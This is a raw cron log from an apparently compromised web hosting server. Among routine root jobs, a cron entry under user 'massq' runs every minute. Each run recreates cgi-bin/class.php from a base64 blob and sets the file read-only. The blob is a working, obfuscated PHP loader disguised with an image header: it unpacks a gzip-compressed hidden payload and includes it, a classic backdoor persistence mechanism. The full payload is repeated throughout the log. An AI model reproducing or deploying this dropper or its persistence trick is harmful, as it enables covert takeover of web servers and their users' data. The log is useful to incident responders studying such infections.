Nov 12 10:08:01 server CROND[20105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:09:01 server CROND[20925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:09:01 server CROND[20926]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 10:10:01 server CROND[21795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 10:10:01 server CROND[21796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:10:01 server CROND[21798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:10:01 server CROND[21799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:11:01 server CROND[22694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:12:01 server CROND[23527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:12:01 server CROND[23528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 10:13:01 server CROND[24369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:14:01 server CROND[25208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:15:01 server CROND[26025]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:15:01 server CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:15:01 server CROND[26026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:15:01 server CROND[26035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:16:01 server CROND[26886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:17:01 server CROND[27802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:18:01 server CROND[28551]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:19:01 server CROND[29385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:20:01 server CROND[30247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:20:01 server CROND[30249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:20:01 server CROND[30250]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 10:20:01 server CROND[30251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:20:01 server CROND[30252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
